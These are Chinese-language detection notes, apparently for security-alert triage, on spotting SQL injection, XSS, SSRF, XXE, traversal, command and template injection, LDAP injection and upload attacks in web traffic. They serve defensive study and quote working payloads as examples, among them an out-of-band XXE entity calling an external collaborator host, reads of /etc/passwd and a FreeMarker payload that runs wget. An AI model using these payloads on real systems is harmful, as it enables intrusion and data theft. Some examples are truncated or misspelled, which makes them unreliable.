1、SQL注入漏洞
查看url / Referer字段/User-Agent字段/cookie字段
- 出现一些特殊字符(eg:单引号【‘】、双引号【“”】、括号【()】、单引号括号【‘(】、双引号括号【“(】等一些常见的特殊的字符);
eg:http://localhost/index.php/?id=1'and+1=1--+
eg:http://localhost/index.php/?id=1 and 1=1 -- -和1 and 1=2 --+
- 出现SQL命令/语句(增加、删除、修改、查询语句或者各语句之间的串接)
eg:url/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) -- -
eg:url/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
- 出现注释符号(在语句的最后出现连续2个减号字元 -- 后的 文字为注解,或“/*”与“*/”所包起来的文字为注解)
- 在url上出现万能密码字段 'or'1'='1
- 出现常见的特殊函数
database()、updatexml()、extractvalue()、group_concat()、concat()、limit()、order by()、unsion()、system_user()、version()、load_file()、seelp()、length()、exp()、group by()、substr()、and、or等函数。
eg:?id=1” and updatexml(1,concat(0x7e,database()),3) --+
eg:?id=-1’ union select 1,2,seelp(5)--+
eg:1” union select updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) #
- 出现各种编码(eg:url编码,base64编码等)可利用Burp或 者在线解/编码器进行操作查看是否有特殊字段。
- user-agent字段出现sqlmap/1.0.8.15#dev (http://sqlmap.org)
1.1 DNSlog注入
Load_file函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //)
使用本函数有几个前提:
1、首先要有注入点
2、需要有root权限
3、数据库有读写权限即:secure_file_priv=“”
4、得有请求url权限
5、还必须得是windows服务器
concat函数
2、XSS(跨站脚本攻击)漏洞
查看url / Referer字段/User-Agent字段/cookie字段
查看是否出现以下各种标签(但不限于以下标签)
- 查看是否出现script标签<script>alert(1);</script>
- 查看是否出现img标签<img src=1 οnerrοr=alert(1);>
- 查看是否出现input标签<input οnfοcus=alert(1);>
- 查看是否出现svg 标签<svg οnlοad=alert(1);>
- 查看是否出现select 标签<select οnfοcus=alert(1)></select>
- 查看是否出现iframe 标签<iframe οnlοad=alert(1);></iframe>
例如:
GET:/CuteSoft_Client/'"()&%<ScRiPt >prompt(994848)</ScRiPt>/SpellCheck.aspx HTTP/1.1
Referer: http://emp.bcu.edu.cn/
GET /error_page.htm?flag='+alert('XSS')+' HTTP/1.1
<style type="text/javascript">alert('xss');</style>
<style>@import'javascript:alert("xss")';</style>
<link rel="stylesheet" href="http://ha.ckers.org/xss.css">
- 这些标签里是否有一些危险函数【eval()函数、system()函数等】 或者直接出现这写标签后分析里面的语句看他要获取哪些信息。
- 若以上标签里的内容出现各种类型的编码、双写/大小写标签、各种特殊字符进行过滤都要着重看。
- user-agent字段出现 : '%22()%26%25<ScRiPt%20>prompt(961668)</ScRiPt>
告警相关示例:
url %0D%0A%3C%2Ftte%3E%3Cscript%3Ea ert%28myhd%29%3B%3C%2Fscpt%3E8au
url解密出来的函数是恶意函数aert()以及script标签来获取账号
3、CSRF(跨站请求伪造)漏洞
查看Referer字段,正常来说,Referer字段应和请求的地址位于同一域名下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,不会在同一个域名下,这时候服务器就能识别出恶意的访问。所以在查看csrf告警时,看域名是否有相同的后缀,是否是来自本站
4、SSRF(服务器端请求伪造)漏洞
- 查看url上是否有file协议/gopher协议/ftp协议/dict协议
例 http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/system.ini(获取本地c盘的system.ini文件)
- (查看url地址后面一些参数(share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain等)这些参数后面的值是不是内网的IP地址或者是127.0.0.1或者是一些协议的一些关键字眼。
- 这些参数值的后面是否有特殊字符(绕过ssrf会使用一些特殊字符eg:‘。’‘[: :]’等一些特殊的字符),也可能出现各种编码/进制进行写IP地址,或者特殊的域名eg:xip.io。
- 是否出现file_get_contents()、fsockopen()、curl_exec()等函数
5、XXE(外部实体注入)漏洞
- 若攻击报文出现一下告警,大概率是误报,因为这个是电信的L1接口定位采用的是xml格式的报文,所以会产生告警
- 若报文中的system后面出现了url,要着重注意,(因为外部实体的声明使用SYSTEM关键字,并且必须指定一个URL,从该URL可以加载实体的值。)
例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "php://filter://path/to/file" ]>
<!ENTITY lyq SYSTEM "file:///etc/passwd">
着重看以下3个协议
·data://协议
·file://协议加文件上传
·php://filter协议加文件上传
参考Content-Type字段的值,
告警示例:
GET /meol/manage/web.config.bak HTTP/1.1
Content-Type: text/xml;charset=utf-8
Accept字段
告警示例:
GET /meol/manage/web.config.bak HTTP/1.1
Accept=application/xml,text/xml,*/*;q=0.01
X-Requested-With字段
告警示例:
GET /meol/manage/web.config.bak HTTP/1.1
X-Requested-With:XMLHttpRequest
结合告警中是否有xml的payload,一般在告警最下面显示。
payload示例:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM
"http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net">%d;
]>
<a>&xxe;</a>
总结:出现xml的文件或者后缀都着重看一下。
6、资源盗链漏洞
通过查看Referer字段或者签名,是否有外来网站,来源不是本站,只能通过Referer字段来进行判断,看是否有新的外来地址。着重看以http和https开头的网址。
7、目录遍历
如果url上有大量的../../../../../../关键字符就有可能攻击者利用目录遍历来攻击,也要结合../后面是什么目录,若是敏感目录或者文件(例如:/etc/passwd、php后缀、conf后缀等)就要着重看一下,或者url上是各种编码,要进行解码进行查看内容
目录遍历漏洞的特征要注意:
?page=xxx.php ?index=xxx.jsp ?home=xxx.html ?file=content 最终也要结合响应包进行最终确认是否攻击成功,是否响应。
告警示例:
通过UTF-8解码之后再进行url解码得出
ba.online.sh.cn/../../../../../../../../../../../../../../../../../../../../etc/passwd
8、命令执行注入
- 如果请求体或者url里出现以下危险函数
【1】 php代码
system()、exec()、shell_exec()、passthru函数
popen函数 eval函数 assert()
【2】JSP代码
Runtime run = Runtime.getRuntime(); run.exec("ipconfig");
【3】ASP代码
<%Response.writeCreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll%>
- 若里面还有特殊字符(|,||,&,&&,反符号` `,>,>>,< ,<<)
- 出现系统命令、系统目录、敏感文件等
相关告警示例:
GET /simple/tests/tmssql.php?do=phpinfo
GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd
8.1 freemaker模版注入
deviceUdid=${"freemarker.template.utility.Execute"?new()("wget http://downlo%6
<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}
error=&deviceUdid=${"freemarker.template.utility.Exe%6
8.2 WinRAR远程代码执行漏洞分析
如果把响应代码更改为“301 Moved Permanently”,所有请求都将转到恶意域“attacker.com”,并且恶意域“attacker.com”会被缓存下来。缓存下来以后,所有到默认域“notifier.rarlab.com”的流量会重定向到恶意域“attacker.com”。
9、LDAP注入
定义
LDAP轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询。
如果出现一些运算符(=、|、||、&、&&、!(非)、*(通配符)等),因为这些运算符都是LDAP的基本语法。
例如:
ldap://austin.ibm.com/ou=Austin,o=IBM
ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)
LDAP注入攻击面
(&(parameter1=value1)(parameter2=value2))
value1和value2可以换成注入代码
10、文件包含漏洞
文件包含会出现4个函数:
include() include_once() require() require_once()
出现4个函数后结合响应体着重看一下
url也会出现特殊字符../../等特殊字符
一般文件包含和文件上传会结合使用。
11、文件上传漏洞
http 请求 Header 头部中的 Content-Type 存在以下特征:
multipart/form-data:表示该请求是一个文件上传请求
存在 boundary 字符串
POST 的内容存在以下特征: Content-Disposition name filename
查看文件的后缀是以.php .php1~5 php的大小写或者.asp、.asp的大小写混合,或者以.htaccess结尾的,还有图片马要着重注意
12、信息泄露
配置文件访问
httpd.conf htaccess HTPASSWD boot.ini etc/passwd
Php.ini Web.xml等后缀文件,然后结合响应体查看是否响应